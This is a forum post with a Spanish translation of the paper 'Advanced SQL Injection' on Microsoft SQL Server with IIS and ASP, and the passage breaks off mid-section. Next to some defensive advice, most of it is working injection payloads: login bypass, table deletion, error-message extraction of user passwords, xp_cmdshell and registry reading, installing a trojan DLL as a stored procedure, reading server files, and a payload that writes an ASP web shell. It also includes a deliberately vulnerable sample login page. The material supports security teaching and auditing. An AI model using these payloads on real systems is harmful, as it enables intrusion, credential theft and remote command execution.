|
neofito
|
Traduccion de "Advanced SQL Injection" |
|
|
Original: http://www.nextgenss.com/papers/advanced_sql_injection.pdf
Inyección SQL Avanzada en Aplicaciones para Servidores SQL
[Resumen]
Este documento explica en detalle la conocida técnica de la
'Inyección SQL', y la aplica a la popular plataforma Servidor
SQL/Microsoft Internet Information Server/Active Server Pages.
Muestra las diferentes formas con las que puede 'inyectarse'
SQL en una aplicación y detalla algunas de las técnicas de validación
y a aplicar en el servidor para evitar este tipo de ataques.
Este paper esta destinado a los desarrolladores de aplicaciones
web que se comunican con bases de datos y a los profesionales
en el campo de la seguridad cuyas funciones incluyen el proceso
de auditar este tipo de aplicaciones.
[Introducción]
El Structured Query Language ('SQL') es un lenguaje de texto
utilizado para interactuar con bases de datos relacionales.
Existen diferentes variantes de SQL; La mayoría de los dialectos
de uso común en la actualidad estan basados en SQL-92, el standard
ANSI más reciente. La unidad fundamental de ejecución en SQL
es la 'consulta', la cual está formada por una colección de
sentencias que, básicamente, devuelven un único resultado. Las
sentencias SQL pueden modificar la estructura de la base de
datos (utilizando sentencias Data Definition Language, o 'DDL')
y manipular los contenidos (utilizando sentencias Data Manipulation
Language, o 'DML'). En este paper utilizaremos específicamente
el Transact-SQL, el dialecto de SQL utilizado por el servidor
Microsoft SQL.
Por inyección SQL entendemos el acto de insertar una serie de
sentencias SQL en una 'consulta' mediante la manipulación de
la entrada de datos de una aplicación.
Una sentencia SQL típica sería algo como esto:
Código: |
select id, nombre, apellido from autores |
Esta sentencia devolvería las columnas 'id', 'nombre' y 'apellido'
de todas las filas de la tabla 'autores'. Para restringir el
resultado obtenido a un autor específico utilizaríamos:
Código: |
select id, nombre, apellido from autores where nombre
= 'john'
and apellido = 'smith' |
Un punto importante a destacar aquí es que las cadenas literales
'john' y 'smith' aparecen delimitadas por comillas simples.
Si imaginamos que el 'nombre' y el 'apellido' son obtenidos
como respuesta a la entrada de datos por parte del usuario,
un atacante podría inyectar SQL en esta consulta solicitando
los siguientes valores a la aplicación:
Código: |
Nombre: jo'hn
Apellido: smith |
La cadena de consulta quedaría así:
Código: |
select id, nombre, apellido from autores where nombre
= 'jo'hn' and
apellido = 'smith'; |
Cuando la base de datos intente ejecutar esta consulta es muy
probable que devuelva el siguiente error:
Código: |
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'. |
La razón es que la inserción de un único caracter de comilla
simple escapa los datos delimitados por las comillas simples.
La base de datos trata entonces de ejecutar 'hn' y se obtiene
un error. Si el atacante introduce una cadena similar a esta:
Código: |
Nombre: jo' ; drop table autores--
Apellido: |
...incluso podría borrar la tabla autores .
Es fácil suponer que eliminando las comillas simples de la entradas
o escapándolas de alguna forma se solucionaría este problema.
Esto es cierto, pero existen varias dificultades que impedirán
utilizar este método como la solución definitiva. Primero, no
todos los datos proporcionados por el usuario estarán en forma
de cadena. Si por ejemplo, puede seleccionarse un autor por
su 'id' (presumiblemente un número), nuestra
consulta podría ser algo como esto:
Código: |
select id, nombre, apellido from autores where id = 1234
|
En este caso el atacante puede simplemente anexar una sentencia
SQL al final de la entrada numérica. En otros dialectos SQL
se utilizan distintos delimitadores; en el motor Jet DBMS de
Microsoft, por ejemplo, los datos pueden delimitarse con el
carácter '#'. Por ello el método de 'escapar' las comillas simples
no resulta necesariamente la solución definitiva que pensamos
en un primer momento.
Ilustraremos todos estos detalles utilizando para ello una página
de login de ejemplo desarrollada en ASP, la cual accederá a
una base de datos SQL simulando el mecanismo de autentificación
de una aplicación ficticia.
Este será el código del formulario de la página, en el cual
el cliente deberá introducir el nombre de usuario y la contraseña:
Código: |
<HTML> <HEAD>
<TITLE>Página de Login</TITLE>
</HEAD> <BODY bgcolor='000000'
text='cccccc'> <FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE> <TR><TD>Usuario:</TD><TD><INPUT
type=text name=usuario size=100%
width=100></INPUT></TD></TR>
<TR><TD>Contraseña:</TD><TD><INPUT
type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE> <INPUT type=submit value='Enviar'>
<INPUT type=reset value='Borrar'> </FORM>
</FONT> </BODY>
</HTML> |
Y este será el código para el script 'process_login.asp', el
cual maneja el intento de autentificación:
Código: |
<HTML> <BODY bgcolor='000000'
text='ffffff'> <FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt !
important} </STYLE> <%@LANGUAGE
= JScript %> <%
function trace( str ) {
if( Request.form("debug")
== "true" )
Response.write( str ); }
function Login( cn ) {
var username;
var password; username
= Request.form("usuario");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select
* from users where username = '" + usuario + "'
and password = '" + password
+ "'"; trace(
"query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%> <FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR> <CENTER>ACESO
DENEGADO</CENTER> </H1> </BODY>
</HTML> <%
Response.end return;
}
else {
Session("usuario")
= "" + rso("usuario");
%> <FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACESO PERMITIDO
<BR> <BR>
Bienvenido, <%
Response.write(rso("Usuario"));
Response.write(
"</BODY></HTML>" );
Response.end
} }
function Main() {
//Set up connection
var usuario var cn
= Server.createobject( "ADODB.Connection"
); cn.connectiontimeout
= 20; cn.open( "localserver",
"sa", "password" );
usuario = new String( Request.form("usuario")
); if( username.length
> 0) {
Login( cn
); }
cn.close(); }
Main();
%> |
He aquí la parte crítica de 'process_login.asp' en la cual se
crea la 'cadena de consulta':
Código: |
var sql = "select * from users where username = '"
+ usuario + "'
and password = '" + password + "'";
|
Si el usuario introduce lo siguiente:
Código: |
Usuario: ' ; drop table usuarios--
Password: |
...borrará la tabla usuarios, denegando el acceso a la aplicación
al resto de los usuarios. La secuencia de carácteres '--' se
corresponde, en Transcat-SQL, con el inicio de un 'comentario
de una sola línea' y el carácter ';' denota el final de una
sentencia y el comienzo de otra. El '--' al final del campo
de usuario es necesario para evitar que la consulta termine
sin provocar un error.
El atacante podrá autentificarse como cualquier usuario, si
conoce el nombre de alguna persona dada de alta en la aplicación,
utilizando la siguiente entrada:
Código: |
Usuario: admin' -- |
El atacante se estaría autentificando como el primer usuario
de la tabla 'usuarios' con la siguiente entrada:
Código: |
Usuario: ' or 1 = 1-- |
...y, por extraño que parezca, el atacante podrá autentificarse
como un usuario inexistente utilizando lo siguiente:
Código: |
Usuario: ' union select 1, 'usuario_ficticio', 'cualquier_contraseña',
1-- |
El motivo por el que la anterior sentencia funcionará es debido
a que la fila
'constante' que el atacante está especificando será parte del
registro recuperado de la base de datos.
[Obteniendo información mediante los Mensajes de Error]
Esta técnica fué descubierta por David Litchfield y el autor
de este paper en el curso
de un test de penetración; David escribió posteriormente un
documento describiendo esta
técnica [1] y diferentes autores han referenciado más tarde
su trabajo. Esta sección
describe el mecanismo subyacente a la técnica del 'mensaje de
error', esperando que el
lector pueda entenderla y potencialmente crear variaciones propias.
Con el objetivo de manipular los datos de una base de datos
el atacante deberá primero determinar la estructura de determinadas
tablas y bases de datos. Por ejemplo, la tabla 'usuarios' podría
haber sido creada utilizando el siguiente comando:
Código: |
create table usuarios{ id int,
usuario varchar(255),
password varchar(255),
privs int } |
...y se habrían introducido los siguientes usuarios:
Código: |
insert into usuarios values (0, 'admin', 'r00tr0x!',
0xffff);
insert into usuarios values (0, 'guest', 'guest',
0x0000);
insert into usuarios values (0, 'chris', 'password',
0x00f);
insert into usuarios values (0, 'fred', 'sesamo',
0x00f); |
Imaginemos que nuestro atacante desea crearse una cuenta de
usuario. Sin conocer la estructura de la tabla 'usuarios' es
bastante improbable que lo consiga. Aún teniendo suerte, el
significado del campo 'privs' no está del todo claro. El atacante
podría insertar un '1' y obtener una cuenta con escasos privilegios
en la aplicación cuando lo que quería era facilitarse el acceso
con privilegios administrativos.
Afortunadamente para el atacante si la aplicación devuelve mensajes
de error (el comportamiento predeterminado de ASP) podrá determinar
la estructura completa de la base de datos y leer cualquier
valor que pueda ser obtenido por la aplicación ASP utilizada
para conectar con el servidor SQL.
(El siguiente ejemplo utiliza la base de datos y los scripts
.asp de ejemplo para mostrar como funciona esta técnica).
Primero, el atacante querrá determinar los nombres de las tablas
utilizadas en las consultas y los nombres de los campos. Para
hacerlo el atacante utilizará la clausula 'having' de la sentencia
'select':
Código: |
Usuario: ' having 1= 1-- |
Esto provocará el siguiente error:
Código: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server
Driver][SQL Server]Column 'usuarios.id' is
invalid in the select list because it is not contained
in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35 |
Ahora el atacante ya conoce el nombre de la tabla y la primera
columna de la consulta. Podrá averigüar el resto de columnas
introduciendo cada uno de los campos que vaya descubriendo en
una clasula 'group by' como la siguiente:
Código: |
Usuario: ' group by usuarios.id having 1 = 1--
|
(la cual producirá el siguiente error...)
Código: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server
Driver][SQL Server]Column 'usuarios.usuario'
is invalid in the select list because it is not contained
in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35 |
Posteriomente el atacante llegará al campo 'usuario':
Código: |
' group by usuarios.id, usuarios.usuario, usuarios.password,
usuarios.privs
having 1=1-- |
...lo cual no producirá error alguno y es funcionalmente equivalente
a:
Código: |
select * from usuarios where usuario = '' |
Ahora el atacante conoce que la consulta está utilizando únicamente
la tabla 'usuarios' y las columnas 'id, usuario, password, privs',
en este orden.
Sería útil si pudiese determinar el tipo de cada una de las
columnas. Esto podrá obtenerse utilizando un mensaje de error
provocado por una 'conversión de tipo', con algo parecido a
esto:
Código: |
Usuario: ' union select sum(usuario) from
usuarios-- |
La sentencia anterior se aprovecha de que el servidor SQL intentará
aplicar la clausula 'sum' antes de determinar si el número de
campos en las dos filas es equivalente. El intento de calcular
la suma de un campo de texto provocará el siguiente mensaje:
Código: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server
Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as
an argument.
/process_login.asp, line 35 |
...lo cual indica que el campo 'usuario' es de tipo 'varchar'.
Si, por otra parte, intentamos calcular la suma de un tipo numérico
obtendríamos un mensaje de error indicando que el número de
campos de las dos filas no coincide:
Código: |
Usuario: ' union select sum(id) from usuarios--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server
Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal
number of
expressions in their target lists.
/process_login.asp, line 35 |
Podremos utilizar esta técnica para determinar de forma aproximada
el tipo de cualquier columna de cualquier tabla de la base de
datos:
Esto permitirá al atacante crear una consulta 'insert' correcta,
similar a la siguiente:
Código: |
usuario: '; insert into usuarios values (666,
'atacante', 'foobar', 0xffff)-- |
Sin embargo, el potencial de esta técnica no acaba aquí. El
atacante podrá aprovecharse de cualquier mensaje de error que
revele información sobre el entorno de la base de datos. Puede
obtenerse una lista de las cadenas de formato correspondientes
a los mensajes de error ejecutando:
Código: |
select * from master..sysmessages |
Examinando la lista descubriremos mensajes muy interesantes.
Un mensaje especial muy útil revela la conversión de tipo. Si
usted intenta convertir una cadena en un entero el contenido
completo de la cadena es devuelto en el mensaje de error. En
nuestra página de login de ejemplo el siguiente nombre de usuario
devolverá la versión del servidor SQL y el sistema operativo
en el cual se está ejecutando:
Código: |
Usuario: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server
Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194
(Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000
Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service
Pack 2) ' to a column of
data type int.
/process_login.asp, line 35 |
Esto intentará convertir la constante '@@version' en un entero
dado que la primera
columna de la tabla 'usuarios' es un entero.
Esta técnica puede utilizarse para leer cualquier valor en cualquier
tabla de la base de datos. Dado que el atacante está interesado
en los usuarios y sus contraseñas podrá utilizarla para obtener
los nombres de usuarios de la tabla 'usuarios' con algo como:
Código: |
Usuario: ' union select min(usuario),1,1,1
from usuarios where usuario > 'a'-- |
Esto seleccionará el nombre de usuario inmediatamente superior
a 'q' e intentará covertirlo en un entero:
Código: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server
Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35 |
En este momento el atacante sabe que existe una cuenta 'admin'.
Ahora podrá iterar a través de las filas de la tabla utilizando
cada nuevo usario que descubra en la clausula 'where':
Código: |
usuario: ' union select min(usuario),1,1,1
from usuarios where usuario > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server
Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35 |
Una vez el atacante conozca los nombres de usuario podrá empezar
a obtener sus contraseñas:
Código: |
Usuario: ' union select password,1,1,1 from usuarios
where usuario = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server
Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type
int.
/process_login.asp, line 35 |
Una técnica más elegante consiste en concatenar todos los nombres
de usuario y contraseñas en una única cadena e intentar entonces
convertirla en un entero. Esto se aprovecha de otra característica:
las sentencias Transact-SQL pueden introducirse en una misma
línea sin por ello alterar su significado. El siguiente script
concatenará los valores:
Código: |
begin declare @ret varchar(8000)
set @ret=':'
select @ret = @ret+' '+usuario+'/'+password from usuarios
where
usuario > @ret
select @ret as ret into foo
end |
El atacante utilizará entonces el siguiente 'usuario' (todo
en una línea, obviamente):
Código: |
Usuario: '; begin declare @ret varchar(8000)
set @ret = ':' select
@ret = @ret+' '+usuario+'/'+password from usuarios where
usuario > @ret
select @ret as ret into foo end-- |
Esto creará una tabla 'foo' la cual contendrá una única columna
'ret' y situará nuestra cadena en ella. Normalmente aunque se
trate de un usuario con escasos privilegios será capaz de crear
una tabla en una base de datos de ejemplo, o en una tabla temporal.
El atacante seleccionará entonces la cadena de la tabla utilizando:
Código: |
Usuario: ' union select ret,1,1,1 from foo--
[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesamo' to a column of data type int.
/process_login.asp, line 35 |
Y se las arreglará para borrarla:
Código: |
usuario: '; drop table foo-- |
Estos ejemplos apenas muestran un ínfima parte de las posibilidades
de esta técnica. No hay ni que mencionar que, si el atacante
puede obtener información útil de los mensajes de error de la
base de datos, su trabajo sera obviamente más sencillo.
[Proporcionándose acceso continuado]
Una vez el atacante tenga el control de la base de datos, normalmente
intentará proporcionarse acceso continuado a través de la red.
Esto podrá lograrse de diferentes formas:
1. Utilizando el procedimiento almacenado xp_cmdshell para ejecutar
comandos en el servidor SQL como el usuario SQL.
2. Utilizando el procedimiento almacenado xp_regread para leer
claves del registro incluyendo, potencialmente, la SAM (si el
servidor SQL está ejecutándose bajo la cuenta local system).
3. Utilizando otros procedimientos almacenados para dominar
el servidor.
4. Ejecutando consultas en servidores enlazados.
5. Creando procedimientos almacenados persoalizados para ejecutar
código maligno desde el proceso del servidor SQL.
6. Utilizando la sentencia 'bulk insert' para leer cualquier
archivo del servidor.
7. Utilizando bcp para crear archivos de texto arbitrario en
el servidor.
8. Utilizando los procedimientos almacenados sp_OACreate, sp_OAMethod
y sp_OAGetProperty para crear aplicaciones de código OLE (ActiveX)
que puedan hacer todo aquello que le esté permitido al script
ASP.
Estos son algunos de las técnicas de atque más comunes; es muy
posible que un intruso utilice cualquiera otra. Presentamos
estas técnicas como una colección de ataques relativamente obvios
contra el servidor SQL, para mostrar las implicaciones de la
posibilidad de inyección de código SQL. Nos ocuparemos ahora
de cada uno de los posibles ataques mencionados.
[xp_cmdshell]
Los procedimientos almacenados estan básicamente compilados
como Dinamic Link Libraries (DLLs) que el servidor SQL utiliza
mediante llamadas específicas para ejecutar funciones exportadas.
De esta forma las aplicaciones del servidor SQL pueden utilizar
la potencia de C/C++ para ofrecer útiles características. Un
gran número de estos procedimientos almacenados los proporciona
el propio servidor SQL
y realizan funciones variadas como enviar correos e interactuar
con el registro.
xp_cmdshell es un procedimiento almacenado incorporado en el
servidor y que permite ejecutar líneas arbitrarias de comandos.
Por ejemplo:
Código: |
exec master..xp_cmdshell 'dir' |
obtendrá un listado del actual directorio de trabajo del proceso
del servidor SQL y
Código: |
exec master..xp_cmdsehll 'net1 user' |
proporcionará una lista de todos los usuarios del sistema. Dado
que el servidor se ejecuta normalmente bajo la cuenta de 'local
system', o usuario del dominio' un atacante podrá obtener un
gran provecho de esta característica.
[xp_regread]
Otra útilisimo conjunto de procedimientos almacenados incorporados
en el servidor son las
funciones xp_regXXX,
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Algunos ejemplos del uso de estas funciones:
Código: |
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares' |
(determina si se permiten las sesiones nulas en el servidor)
Código: |
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
|
(revelará todas las comunidades SMNP configuradas en el servidor.
Con esta información un atacante probablemente podrá obtener
las características de configuración en el segmento de red,
dado que las comunidades SNMP tienden a ser raramente modificadas
y compartidas entre varios equipos).
Es fácil imaginar como un atacante podría utilizar estas funciones
para leer la SAM, cambiar la configuración de un servicio del
sistema de forma que se inicie la proxima vez que la máquina
sea reiniciada o ejecutar un comando arbitrario cuando algún
usuario se autentifique en el servidor.
[otros procedimientos almacenados]
El procedimiento xp_servicecontrol permite a un usuario iniciar,
parar y reiniciar servicios:
Código: |
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
|
He aquí una breve lista de otros procedimientos almacenados
que podrían resultar de utilidad:
xp_availablemedia muestra los dispositivos disponibles en el
sistema.
xp_dirtree permite obtener un listado de un árbol de directorios.
xp_enumdsn enumera las fuentes de datos disponibles ODBC en
el servidor.
xp_loginconfig muestra información sobre el modelo de seguridad
del servidor.
xp_makecab permite a un usuario crear archivos comprimidos en
el servidor (o cualquier fichero al que el servidor pueda acceder).
xp_ntsec_enumdomains enumera los dominios a los que puede acceder
el servidor.
xp_terminate_process finaliza un proceso, proporcionándosele
su PID.
[Servidore enlazados]
El servidor SQL proporciona un mecanismo mediante el cual permite
'enlazar' otros servidores, esto es, permite efectuar una consulta
en un servidor para manipular los datos en otro. Estos enlaces
estan almacenados en la tabla master..sysservers. Si se ha agregado
un enlace a un servidor utilizando el procedimiento 'sp_adlinkedsrvlogin',
se habrá creado un enlace previamente autentificado a través
del cual podrá accederse sin necesidad de realizar login alguno.
La función 'openquery' permitirá ejecutar las consultas en el
servidor enlazado.
[Procedimientos almacenados personalizados]
El API para los procedimientos almacenados es relativamente
sencilla por lo que no resultará dificil crear un procedimiento
almacenado como una DLL que incorpore código malicioso. Existen
diversos métodos que
permitirán subir esta DLL al servidor SQL mediante líneas de
comandos y los que precisan de otros mecanismos de comunicación
como descargas HTTP y scripts FTP.
Una vez se haya subido la DLL a una máquina a la que el servidor
SQL pueda acceder - no tiene necesariamente que ser el propio
servidor SQL - el atacante podrá agregar el nuevo procedimiento
utilizando el siguiente
comando (en este caso nuestro procedimiento malicioso consiste
en un pequeño troyano que exportará los sistemas de ficheros
a través de un servidor web):
Código: |
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
|
A partir de este momento podrá ejecutarse el procedimiento almacenado
en la forma habitual:
Código: |
exec xp_webserver |
Una vez haya sido ejecutado podrá eliminarse así:
Código: |
sp_dropextendedproc 'xp_webserver' |
[Importando ficheros de texto en tablas]
Utilizando la sentecia 'bulk insert' es posible insertar el
texto de un fichero en una tabla temporal. Simplemente se deberá
crear la tabla tal que así:
Código: |
create table foo( line varchar(8000) )
|
...y ejecutar entonces un bulk insert para importar los datos
desde el archivo:
Código: |
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
|
...podrán obtenerse los datos utilizando cualquiera de las técnicas
de mensajes de error desarrolladas anteriormente, o mediante
una 'union' de sentencias select, combinando el contenido del
fichero de texto con los datos que son devueltos de forma habitual
por la aplicación. Esto puede resultar útil para obtener el
código de los scripts almacenados en el servidor de la base
de datos o, posiblemente, para obtener el código de las páginas
ASP.
[Creando ficheros de texto utilizando BCP]
Resulta relativamente sencillo crear ficheros de texto arbitrarios
utilizando la técnica opuesta al 'bulk insert'. Desgraciadamente
esto requiere un herramienta de línea de comandos, 'bcp'.
Dado que bcp accede a la base de datos desde fuera del proceso
del servidor SQl necesita autentificación. Esto no resultará
dificil dado que el atacante podrá crearse uno sin dificultad,
o aprovecharse del modelo de seguridad 'integrado' si el servidor
lo tuviera configurado.
El formato de la línea de comandos necesaria sería así:
Código: |
bcp "SELECT * FROM test..fo" queryout C:\inetpub\wwwroot\runcommand.asp
-c -Slocalhost -Usa -Pfoobar |
El parámetro 'S' indica el servidor en el que se deberá ejecutar
la consulta, la 'U' el nombre de usuario y la 'P' es la contraseña,
'foobar' en este caso.
[Scripts ActiveX para la automatización en el servidor SQL]
La mayoría de procedimientos almacenados han sido integrados
para permitir la creacion de scripts ActiveX de automatización
en el servidor SQL. Estos scripts son funcionalmente similares
a aquellos creados utilizando windows scripting host o ASP -
estan normalmente escritos en VBScript o JavaScript y proporcionan
objetos que permiten la automatización e interactuar con ella.
Un script de automatización escrito en Transact-SQL podrá hacer
todo aquello que un script ASP o WSH pueda hacer. A continuación
proporcionaremos algunos ejemplos para facilitar la comprensión
de nuestras palabras.
1)En este ejemplo utiliza el objeto 'wscript.shell' para crear
una instancia del notepad (que por supuesto podría sustituirse
por cualquier otro comando):
Código: |
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
|
En el escenario propuesto podría ejecutarse especificando el
siguiente usuario (todo en una única línea):
Código: |
Username: '; declare @o int exec sp_oacreate 'wscript.shell',
@o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
|
2) En este ejemplo utiliza el objeto 'scripting.filesystemobject'
para leer un archivo de texto conocido:
Código: |
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000) exec
sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini',
1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin print @line exec
@ret = sp_oamethod @f, 'readline', @line out
end |
3)En este ejemplo se crea un script ASP que puede ejecutar cualquier
comando que reciba a través de la cadena de consulta:
Código: |
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"):
o.run(
request.querystring("cmd") ) %>'
|
Es importante destacar que cuando se utilice en una platraforma
IIS4 en un sistema Windows NT4, los comandos lanzados por este
script ASP se ejecutaran bajo la cuenta 'system'. Sin embargo,
en un IIS5 lo haran bajo la escasamente privilegiada cuenta
de IWAM_xxx.
4) En este ejemplo (algo poco útil) se muestra la flexibilidad
de esta técnica; se utiliza el objeto 'speech.voicetext' provocando
que el servidor SQL hable:
Código: |
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'todos tus servidores
nos pertenecen', 528
waitfor delay '00:00:05' |
Esto podría ejecutarse en el escenario propuesto especificando
el siguiente usuario (note que en el ejemplo no solo se está
inyectando código SQL sino que paralelamente nos estremos autentificando
en la aplicación como 'admin'):
Código: |
Usuario: admin'; declare @o int, @ret int exec sp_oacreate
'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec
sp_oasetproperty @o, 'speed' 150 exec sp_oamethod
@o, 'speak', NULL, 'all your sequel servers are belong
to us', 528
waitfor delay '00:00:05'-- |
[Procedimientos almacenados]
La creencia general es que si una aplicación ASP utiliza procedimientos
almacenados
en la base de datos entonces la inyección SQL no es posible.
Esto es una verdad a
medias y dependerá de la forma en la que el script ASP llame
a dichos procedimientos.
Básicamente, si se ejcuta una solicitud parametrizando los datos
indicados por el usuario antes de pasarselos al procedimiento
almacenado entonces la inyección SQL sería imposible. Si embargo
si el atacante puede imprimir una cierta influencia sobre las
partes que no constituyan los datos propiamente dichos de la
cadena de consulta a utilizar, es muy posible que llegue a ser
capaz de adquirir el control sobre la base de datos.
Las reglas generales son:
Si el script ASP crea la cadena de consulta que es enviada al
servidor SQL este es vulnerable a la inyección SQL aúnque se
utilicen procedimientos almacenados.
Si el script ASP utiliza un objeto que realice la asignación
de parámetros al procedimiento almacenado (como el objeto ADODB
utilizado con una colección de parámetros) estará generalmente,
a salvo, siempre dependiendo de la implementación de los objetos
que se utilicen.
Obviamente la mejor solución pasa siempre por validar los datos
proporcionados por el
usuario, dado que diariamente se descubren nuevas técnicas.
Como muestra de una cadena de inyección a un procedimiento almacenado
ejecute la siguiente consulta SQL:
Código: |
sp_who '1' select * from sysobjects |
ó
Código: |
sp_who '1'; select * from sysobjects |
De una u otra form la consulta anexada seguirá ejecutándose
después del procedimiento
almacenado.
[Inyección SQL avanzada]
A menudo las aplicaciones web escaparán el carácter de comilla
simple (u otros) y controlarán los datos enviados por el usuario
por ejemplo, limitando su tamaño.
En esta sección le mostraremos algunas técnicas que ayudará
al atacante a burlar algunos de los muchos métodos de defensa
frente a la inyección SQL y que evitará su registro la mayoría
de las veces.
[Cadenas sin comillas]
Ocasionalmente los dessarrolladores intentarán proteger sus
aplicaciones escapando los carácteres de comillas simples, quizás
utilizando la función 'replace' de VBScript o alguna similar:
Código: |
function escape( input )
input = replace(input, "'", "''")
escape = input
end function |
Admitámoslo, esto prevendrá la mayoría de los ataques que hemos
expuesto hasta el momento con nuestro sitio de ejemplo. Sin
embargo en grandes aplicaciones es fácil suponer que en algún
momento se deberá proporcionar datos de tipo numérico. Estos
valores no precisan delimitadores y estarían proporcionando
un punto en el que el atacante podría inyectar código SQL.
Si el atacante quisiera crear una cadena sin utilizar comillas
podría utilizar la función char. Por ejemplo:
Código: |
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff) |
...esta es una consulta que sin utilizar comillas permitiría
insertar cadenas en una tabla.
De acuerdo, si al atacante no le importase utilizar un usuario
y contraseña numéricos la siguiente sentencia le resultaría
de utilidad:
Código: |
insert into users values( 667, 123, 123, 0xffff)
|
Dado que el servidor SQL convertirá de forma automática los
enteros en valores 'varchar' el tipo de conversión es implícita.
[Inyección SQL mediante reutilización de datos]
Aunque una aplicación escapase las comillas simples un atacante
podría inyectar código SQL siempre que el servidor reutilizase
los datos.
Por ejemplo, un atacante podría registrarse en la aplicación
creando el siguiente usuario
Código: |
usuario: admin'--
Password: password |
La aplicación escaparía correctamente la comilla simple resultando
una sentencia insertcomo la siguiente:
Código: |
insert into users values( 123, 'admin''--', 'password',
0xffff ) |
Sin embargo todos sabemos que la mayoría de aplicaciones permiten
al usuario modificar su contraseña. El script ASP se asegurará
primero de que la vieja contraseña sea la adecuada. El código
podría ser algo así:
Código: |
usuario = escape( Request.form("usuario")
);
oldpassword = escape( Request.form("oldpassword")
);
newpassword = escape( Request.form("newpassword")
);
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from usuarios where usuario =
'" + usuario + "' and
password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF) { … |
La consulta para establecer la nueva contraseña quedaría:
Código: |
sql = "update users set password = '" + newpassword
+ "' where usuario
= '" + rso("usuario") + "'"
|
rso("usuario") es el nombre de usuario obtenido de la sentencia
de autentificación.
Proporcionando el usuario admin'-- la consulta quedaría:
Código: |
update users set password = 'password' where usuario =
'admin'--' |
El atacante podría ahora cambiar la contraseña del administrador
por una de su propia elección únicamente registrándose como
un usuario de nombre admin'--.
Este es un peligroso problema presente en la mayoría de aplicaciones
que intentan escapar los datos. La mejor solución sería devolver
cualquier entrada incorrecta en lugar de simplemente intentar
modificarla. Esto puede resultar problemático, dado que en algunas
ocasiones los carácteres peligrosos resultan necesarios como
(por ejemplo) en el caso de los nombres con apóstrofos; por
ejemplo
O'Brien
Desde la perspectiva de la seguridad la major forma de solucionar
esto es simplemente asumir que las comillas simples no estan
permitidas. Si esto no es posible deberemos escaparlas; en este
caso lo mejor es asegurarse que todos los datos que conformen
la cadena de consulta SQL (incluyendo los datos obtenidos de
la base de datos) son manejados correctamente.
Este tipo de ataques es incluso posible si el atacante puede
introducir datos en el sistema sin necesidad de utilizar la
aplicación; la aplicación tal vez tenga una interfaz para manejar
el correo eléctronico, o quizás un archivo de registro de errores
sobre el que el atacante pueda ejercer algun tipo de control.
Es mejor verificar todos los datos, incluyendo los datos que
esten en el sistema - la función que realice la validación debe
ser simple de utilizar, por ejemplo
Código: |
if ( not isValid( "email", request.querystring("email")
) then response.end |
...o algo similar.
[Restricciones de tamaño]
Algunas veces el tamaño asignado para los datos de entrada estará
